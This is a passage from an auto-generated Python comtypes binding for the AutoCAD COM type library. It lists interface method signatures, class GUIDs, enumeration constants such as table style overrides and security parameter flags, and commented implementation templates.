template for IAcadPoint implementation\n##class IAcadPoint_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Coordinates\n## def _set(self, Coordinates):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n\nclass IAxDbDocument(IAcadDatabase):\n _case_insensitive_ = True\n _iid_ = GUID('{D7D299D3-9985-4C2B-BE04-974E82F26DAF}')\n _idlflags_ = ['dual', 'oleautomation']\nIAxDbDocument._methods_ = [\n COMMETHOD([dispid(256), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'pVal' )),\n COMMETHOD([dispid(256), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'pVal' )),\n COMMETHOD([dispid(257)], HRESULT, 'Open',\n ( ['in'], BSTR, 'FileName' ),\n ( ['in', 'optional'], VARIANT, 'Password' )),\n COMMETHOD([dispid(258)], HRESULT, 'Save'),\n COMMETHOD([dispid(259)], HRESULT, 'SaveAs',\n ( ['in'], BSTR, 'FileName' ),\n ( ['in', 'optional'], VARIANT, 'vSecurityParams' )),\n COMMETHOD([dispid(260)], HRESULT, 'DxfIn',\n ( ['in'], BSTR, 'FileName' ),\n ( ['in', 'optional'], VARIANT, 'LogFileName' )),\n COMMETHOD([dispid(261)], HRESULT, 'DxfOut',\n ( ['in'], BSTR, 'FileName' ),\n ( ['in', 'optional'], VARIANT, 'precision' ),\n ( ['in', 'optional'], VARIANT, 'SaveThumbnailImage' )),\n COMMETHOD([dispid(262), 'propget'], HRESULT, 'Application',\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'pAppObj' )),\n COMMETHOD([dispid(263), 'propget'], HRESULT, 'Database',\n ( ['out', 'retval'], POINTER(POINTER(IAcadDatabase)), 'pDatabase' )),\n]\n################################################################\n## code template for IAxDbDocument implementation\n##class IAxDbDocument_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def Open(self, FileName, Password):\n## '-no docstring-'\n## #return \n##\n## def Save(self):\n## '-no docstring-'\n## #return \n##\n## def SaveAs(self, FileName, vSecurityParams):\n## '-no docstring-'\n## #return \n##\n## def DxfIn(self, FileName, LogFileName):\n## '-no docstring-'\n## #return \n##\n## def DxfOut(self, FileName, precision, SaveThumbnailImage):\n## '-no docstring-'\n## #return \n##\n## @property\n## def Application(self):\n## '-no docstring-'\n## #return pAppObj\n##\n## @property\n## def Database(self):\n## '-no docstring-'\n## #return pDatabase\n##\n\nclass AcadFileDependency(CoClass):\n _reg_clsid_ = GUID('{EE2AB753-9CD9-489D-ACFF-BCC6293A0EDD}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadFileDependency._com_interfaces_ = [IAcadFileDependency]\n\nclass AcadLayerStateManager(CoClass):\n _reg_clsid_ = GUID('{3D17F248-35E7-4DFD-9C65-90EE725938E7}')\n _idlflags_ = []\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadLayerStateManager(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{9139F344-EF7A-4AF4-A5F5-0B0057A77F84}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadLayerStateManager._com_interfaces_ = [IAcadLayerStateManager]\n\nclass AcadPointCloudEx(CoClass):\n _reg_clsid_ = GUID('{F751B1AC-976C-4F40-9640-5BDDA7F3058C}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadPointCloudEx._com_interfaces_ = [IAcadPointCloudEx2]\nAcadPointCloudEx._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AxDbDocument(CoClass):\n _reg_clsid_ = GUID('{202844BD-E596-4380-B60D-229D6774A4BE}')\n _idlflags_ = []\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAxDbDocument._com_interfaces_ = [IAxDbDocument]\nAxDbDocument._outgoing_interfaces_ = [IAxDbDocumentEvents]\n\nclass AcadFileDependencies(CoClass):\n _reg_clsid_ = GUID('{994B535A-3851-449F-86E4-2F7A64DBEEFF}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadFileDependencies._com_interfaces_ = [IAcadFileDependencies]\n\n\n# values for enumeration 'AcTableStyleOverrides'\nacTitleSuppressed = 1\nacHeaderSuppressed = 2\nacFlowDirection = 3\nacHorzCellMargin = 4\nacVertCellMargin = 5\nacTitleRowColor = 6\nacHeaderRowColor = 7\nacDataRowColor = 8\nacTitleRowFillNone = 9\nacHeaderRowFillNone = 10\nacDataRowFillNone = 11\nacTitleRowFillColor = 12\nacHeaderRowFillColor = 13\nacDataRowFillColor = 14\nacTitleRowAlignment = 15\nacHeaderRowAlignment = 16\nacDataRowAlignment = 17\nacTitleRowTextStyle = 18\nacHeaderRowTextStyle = 19\nacDataRowTextStyle = 20\nacTitleRowTextHeight = 21\nacHeaderRowTextHeight = 22\nacDataRowTextHeight = 23\nacTitleRowDataType = 24\nacHeaderRowDataType = 25\nacDataRowDataType = 26\nacTitleHorzTopColor = 40\nacTitleHorzInsideColor = 41\nacTitleHorzBottomColor = 42\nacTitleVertLeftColor = 43\nacTitleVertInsideColor = 44\nacTitleVertRightColor = 45\nacHeaderHorzTopColor = 46\nacHeaderHorzInsideColor = 47\nacHeaderHorzBottomColor = 48\nacHeaderVertLeftColor = 49\nacHeaderVertInsideColor = 50\nacHeaderVertRightColor = 51\nacDataHorzTopColor = 52\nacDataHorzInsideColor = 53\nacDataHorzBottomColor = 54\nacDataVertLeftColor = 55\nacDataVertInsideColor = 56\nacDataVertRightColor = 57\nacTitleHorzTopLineWeight = 70\nacTitleHorzInsideLineWeight = 71\nacTitleHorzBottomLineWeight = 72\nacTitleVertLeftLineWeight = 73\nacTitleVertInsideLineWeight = 74\nacTitleVertRightLineWeight = 75\nacHeaderHorzTopLineWeight = 76\nacHeaderHorzInsideLineWeight = 77\nacHeaderHorzBottomLineWeight = 78\nacHeaderVertLeftLineWeight = 79\nacHeaderVertInsideLineWeight = 80\nacHeaderVertRightLineWeight = 81\nacDataHorzTopLineWeight = 82\nacDataHorzInsideLineWeight = 83\nacDataHorzBottomLineWeight = 84\nacDataVertLeftLineWeight = 85\nacDataVertInsideLineWeight = 86\nacDataVertRightLineWeight = 87\nacTitleHorzTopVisibility = 100\nacTitleHorzInsideVisibility = 101\nacTitleHorzBottomVisibility = 102\nacTitleVertLeftVisibility = 103\nacTitleVertInsideVisibility = 104\nacTitleVertRightVisibility = 105\nacHeaderHorzTopVisibility = 106\nacHeaderHorzInsideVisibility = 107\nacHeaderHorzBottomVisibility = 108\nacHeaderVertLeftVisibility = 109\nacHeaderVertInsideVisibility = 110\nacHeaderVertRightVisibility = 111\nacDataHorzTopVisibility = 112\nacDataHorzInsideVisibility = 113\nacDataHorzBottomVisibility = 114\nacDataVertLeftVisibility = 115\nacDataVertInsideVisibility = 116\nacDataVertRightVisibility = 117\nacCellAlign = 130\nacCellBackgroundFillNone = 131\nacCellBackgroundColor = 132\nacCellContentColor = 133\nacCellTextStyle = 134\nacCellTextHeight = 135\nacCellTopGridColor = 136\nacCellRightGridColor = 137\nacCellBottomGridColor = 138\nacCellLeftGridColor = 139\nacCellTopGridLineWeight = 140\nacCellRightGridLineWeight = 141\nacCellBottomGridLineWeight = 142\nacCellLeftGridLineWeight = 143\nacCellTopVisibility = 144\nacCellRightVisibility = 145\nacCellBottomVisibility = 146\nacCellLeftVisibility = 147\nacCellDataType = 148\nAcTableStyleOverrides = c_int # enum\nclass AcadSummaryInfo(CoClass):\n _reg_clsid_ = GUID('{FDD1E36E-BA8A-4BB5-BC8A-0FA6B04B82AF}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSummaryInfo._com_interfaces_ = [IAcadSummaryInfo]\n\nIAcadLWPolyline._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'Coordinates' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'Coordinates' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n COMMETHOD([dispid(4)], HRESULT, 'AddVertex',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'vertex' )),\n COMMETHOD([dispid(5)], HRESULT, 'Explode',\n ( ['out', 'retval'], POINTER(VARIANT), 'pArrayObjs' )),\n COMMETHOD([dispid(6)], HRESULT, 'GetBulge',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(c_double), 'bulge' )),\n COMMETHOD([dispid(7)], HRESULT, 'SetBulge',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], c_double, 'bulge' )),\n COMMETHOD([dispid(8)], HRESULT, 'GetWidth',\n ( ['in'], c_int, 'Index' ),\n ( ['out'], POINTER(c_double), 'StartWidth' ),\n ( ['out'], POINTER(c_double), 'EndWidth' )),\n COMMETHOD([dispid(9)], HRESULT, 'SetWidth',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], c_double, 'StartWidth' ),\n ( ['in'], c_double, 'EndWidth' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'ConstantWidth',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'ConstantWidth',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(11)], HRESULT, 'Offset',\n ( ['in'], c_double, 'Distance' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pOffsetCurves' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'Elevation',\n ( ['out', 'retval'], POINTER(c_double), 'Elevation' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'Elevation',\n ( ['in'], c_double, 'Elevation' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'Area',\n ( ['out', 'retval'], POINTER(c_double), 'Area' )),\n COMMETHOD([dispid(14), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(14), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'Closed',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fClose' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'Closed',\n ( ['in'], VARIANT_BOOL, 'fClose' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'LinetypeGeneration',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bLinetypeGen' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'LinetypeGeneration',\n ( ['in'], VARIANT_BOOL, 'bLinetypeGen' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'Length',\n ( ['out', 'retval'], POINTER(c_double), 'Length' )),\n]\n################################################################\n## code template for IAcadLWPolyline implementation\n##class IAcadLWPolyline_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Coordinates\n## def _set(self, Coordinates):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n## def AddVertex(self, Index, vertex):\n## '-no docstring-'\n## #return \n##\n## def Explode(self):\n## '-no docstring-'\n## #return pArrayObjs\n##\n## def GetBulge(self, Index):\n## '-no docstring-'\n## #return bulge\n##\n## def SetBulge(self, Index, bulge):\n## '-no docstring-'\n## #return \n##\n## def GetWidth(self, Index):\n## '-no docstring-'\n## #return StartWidth, EndWidth\n##\n## def SetWidth(self, Index, StartWidth, EndWidth):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## ConstantWidth = property(_get, _set, doc = _set.__doc__)\n##\n## def Offset(self, Distance):\n## '-no docstring-'\n## #return pOffsetCurves\n##\n## def _get(self):\n## '-no docstring-'\n## #return Elevation\n## def _set(self, Elevation):\n## '-no docstring-'\n## Elevation = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Area(self):\n## '-no docstring-'\n## #return Area\n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fClose\n## def _set(self, fClose):\n## '-no docstring-'\n## Closed = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bLinetypeGen\n## def _set(self, bLinetypeGen):\n## '-no docstring-'\n## LinetypeGeneration = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Length(self):\n## '-no docstring-'\n## #return Length\n##\n\nIAcadPolyline._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'Coordinates' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'Coordinates' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n COMMETHOD([dispid(4)], HRESULT, 'AppendVertex',\n ( ['in'], VARIANT, 'vertex' )),\n COMMETHOD([dispid(5)], HRESULT, 'Explode',\n ( ['out', 'retval'], POINTER(VARIANT), 'pArrayObjs' )),\n COMMETHOD([dispid(6)], HRESULT, 'GetBulge',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(c_double), 'bulge' )),\n COMMETHOD([dispid(7)], HRESULT, 'SetBulge',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], c_double, 'bulge' )),\n COMMETHOD([dispid(8)], HRESULT, 'GetWidth',\n ( ['in'], c_int, 'Index' ),\n ( ['out'], POINTER(c_double), 'StartWidth' ),\n ( [], POINTER(c_double), 'EndWidth' )),\n COMMETHOD([dispid(9)], HRESULT, 'SetWidth',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], c_double, 'StartWidth' ),\n ( [], c_double, 'EndWidth' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'ConstantWidth',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'ConstantWidth',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(11)], HRESULT, 'Offset',\n ( ['in'], c_double, 'Distance' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pOffsetCurves' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'Elevation',\n ( ['out', 'retval'], POINTER(c_double), 'Elevation' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'Elevation',\n ( ['in'], c_double, 'Elevation' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'Type',\n ( ['out', 'retval'], POINTER(AcPolylineType), 'Type' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'Type',\n ( ['in'], AcPolylineType, 'Type' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'Closed',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fClose' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'Closed',\n ( ['in'], VARIANT_BOOL, 'fClose' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'LinetypeGeneration',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bLinetypeGen' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'LinetypeGeneration',\n ( ['in'], VARIANT_BOOL, 'bLinetypeGen' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'Area',\n ( ['out', 'retval'], POINTER(c_double), 'Area' )),\n COMMETHOD([dispid(17), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(17), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'Length',\n ( ['out', 'retval'], POINTER(c_double), 'Length' )),\n]\n################################################################\n## code template for IAcadPolyline implementation\n##class IAcadPolyline_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Coordinates\n## def _set(self, Coordinates):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n## def AppendVertex(self, vertex):\n## '-no docstring-'\n## #return \n##\n## def Explode(self):\n## '-no docstring-'\n## #return pArrayObjs\n##\n## def GetBulge(self, Index):\n## '-no docstring-'\n## #return bulge\n##\n## def SetBulge(self, Index, bulge):\n## '-no docstring-'\n## #return \n##\n## def GetWidth(self, Index, EndWidth):\n## '-no docstring-'\n## #return StartWidth\n##\n## def SetWidth(self, Index, StartWidth, EndWidth):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## ConstantWidth = property(_get, _set, doc = _set.__doc__)\n##\n## def Offset(self, Distance):\n## '-no docstring-'\n## #return pOffsetCurves\n##\n## def _get(self):\n## '-no docstring-'\n## #return Elevation\n## def _set(self, Elevation):\n## '-no docstring-'\n## Elevation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Type = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fClose\n## def _set(self, fClose):\n## '-no docstring-'\n## Closed = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bLinetypeGen\n## def _set(self, bLinetypeGen):\n## '-no docstring-'\n## LinetypeGeneration = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Area(self):\n## '-no docstring-'\n## #return Area\n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Length(self):\n## '-no docstring-'\n## #return Length\n##\n\nclass AcadDatabasePreferences(CoClass):\n _reg_clsid_ = GUID('{21484BD2-EDEE-4131-92BE-EB497B286B06}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDatabasePreferences._com_interfaces_ = [IAcadDatabasePreferences]\n\n\n# values for enumeration 'AcadSecurityParamsConstants'\nACADSECURITYPARAMS_ALGID_RC4 = 26625\nAcadSecurityParamsConstants = c_int # enum\nclass AcadDatabase(CoClass):\n _reg_clsid_ = GUID('{3FC88B89-3C97-492F-83F8-A53B5F63CEEE}')\n _idlflags_ = []\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDatabase._com_interfaces_ = [IAcadDatabase]\n\nclass AcadEllipse(CoClass):\n _reg_clsid_ = GUID('{A5BF4DA8-0AE4-47FB-86FD-D212C7BE2389}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadEllipse._com_interfaces_ = [IAcadEllipse]\nAcadEllipse._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcadSecurityParamsType'\nACADSECURITYPARAMS_ENCRYPT_DATA = 1\nACADSECURITYPARAMS_ENCRYPT_PROPS = 2\nACADSECURITYPARAMS_SIGN_DATA = 16\nACADSECURITYPARAMS_ADD_TIMESTAMP = 32\nAcadSecurityParamsType = c_int # enum\nIAcadLayerStateManager._methods_ = [\n COMMETHOD([dispid(1610743808)], HRESULT, 'SetDatabase',\n ( ['in'], POINTER(IAcadDatabase), 'iHostDb' )),\n COMMETHOD([dispid(1610743809), 'propput'], HRESULT, 'Mask',\n ( ['in'], BSTR, 'bsName' ),\n ( ['in'], AcLayerStateMask, 'eMask' )),\n COMMETHOD([dispid(1610743809), 'propget'], HRESULT, 'Mask',\n ( ['in'], BSTR, 'bsName' ),\n ( ['out', 'retval'], POINTER(AcLayerStateMask), 'eMask' )),\n COMMETHOD([dispid(1610743811)], HRESULT, 'Save',\n ( ['in'], BSTR, 'bsName' ),\n ( ['in'], AcLayerStateMask, 'eMask' )),\n COMMETHOD([dispid(1610743812)], HRESULT, 'Restore',\n ( ['in'], BSTR, 'bsName' )),\n COMMETHOD([dispid(1610743813)], HRESULT, 'Delete',\n ( ['in'], BSTR, 'bsName' )),\n COMMETHOD([dispid(1610743814)], HRESULT, 'Rename',\n ( ['in'], BSTR, 'bsName' ),\n ( ['in'], BSTR, 'bsNewName' )),\n COMMETHOD([dispid(1610743815)], HRESULT, 'Import',\n ( ['in'], BSTR, 'bsFilename' )),\n COMMETHOD([dispid(1610743816)], HRESULT, 'Export',\n ( ['in'], BSTR, 'bsName' ),\n ( ['in'], BSTR, 'bsFilename' )),\n]\n################################################################\n## code template for IAcadLayerStateManager implementation\n##class IAcadLayerStateManager_Impl(object):\n## def SetDatabase(self, iHostDb):\n## '-no docstring-'\n## #return \n##\n## def _get(self, bsName):\n## '-no docstring-'\n## #return eMask\n## def _set(self, bsName, eMask):\n## '-no docstring-'\n## Mask = property(_get, _set, doc = _set.__doc__)\n##\n## def Save(self, bsName, eMask):\n## '-no docstring-'\n## #return \n##\n## def Restore(self, bsName):\n## '-no docstring-'\n## #return \n##\n## def Delete(self, bsName):\n## '-no docstring-'\n## #return \n##\n## def Rename(self, bsName, bsNewName):\n## '-no docstring-'\n## #return \n##\n## def Import(self, bsFilename):\n## '-no docstring-'\n## #return \n##\n## def Export(self, bsName, bsFilename):\n## '-no docstring-'\n## #return \n##\n\nIAcadLayouts._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadLayout)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadLayout)), 'pLayout' )),\n]\n################################################################\n## code template for IAcadLayouts implementation\n##class IAcadLayouts_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pLayout\n##\n\nclass IAcadGeomapImage(IAcadRasterImage):\n _case_insensitive_ = True\n _iid_ = GUID('{0AF8AB47-B44E-4E1C-92EF-20EC0202C3BD}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadGeomapImage._methods_ = [\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'GeoImageBrightness',\n ( ['out', 'retval'], POINTER(c_int), 'Brightness' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'GeoImageBrightness',\n ( ['in'], c_int, 'Brightness' )),\n COMMETHOD([dispid(34), 'propget'], HRESULT, 'GeoImageContrast',\n ( ['out', 'retval'], POINTER(c_int), 'Contrast' )),\n COMMETHOD([dispid(34), 'propput'], HRESULT, 'GeoImageContrast',\n ( ['in'], c_int, 'Contrast' )),\n COMMETHOD([dispid(35), 'propget'], HRESULT, 'GeoImageFade',\n ( ['out', 'retval'], POINTER(c_int), 'Fade' )),\n COMMETHOD([dispid(35), 'propput'], HRESULT, 'GeoImageFade',\n ( ['in'], c_int, 'Fade' )),\n COMMETHOD([dispid(36), 'propget'], HRESULT, 'GeoImagePosition',\n ( ['out', 'retval'], POINTER(VARIANT), 'Position' )),\n COMMETHOD([dispid(37), 'propget'], HRESULT, 'GeoImageWidth',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(38), 'propget'], HRESULT, 'GeoImageHeight',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n]\n################################################################\n## code template for IAcadGeomapImage implementation\n##class IAcadGeomapImage_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Brightness\n## def _set(self, Brightness):\n## '-no docstring-'\n## GeoImageBrightness = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Contrast\n## def _set(self, Contrast):\n## '-no docstring-'\n## GeoImageContrast = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Fade\n## def _set(self, Fade):\n## '-no docstring-'\n## GeoImageFade = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def GeoImagePosition(self):\n## '-no docstring-'\n## #return Position\n##\n## @property\n## def GeoImageWidth(self):\n## '-no docstring-'\n## #return Width\n##\n## @property\n## def GeoImageHeight(self):\n## '-no docstring-'\n## #return Height\n##\n\nclass AcadGeoPositionMarker(CoClass):\n _reg_clsid_ = GUID('{7093F7CB-516B-4D7A-99D7-77D7A5782C4E}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadGeoPositionMarker._com_interfaces_ = [IAcadGeoPositionMarker]\nAcadGeoPositionMarker._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadPolyfaceMesh(CoClass):\n _reg_clsid_ = GUID('{9BB89379-E21C-49C4-997C-7093C0FD6C28}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadPolyfaceMesh._com_interfaces_ = [IAcadPolyfaceMesh]\nAcadPolyfaceMesh._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadPlotConfigurations._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadPlotConfiguration)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['in', 'optional'], VARIANT, 'ModelType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadPlotConfiguration)), 'pPlotConfig' )),\n]\n################################################################\n## code template for IAcadPlotConfigurations implementation\n##class 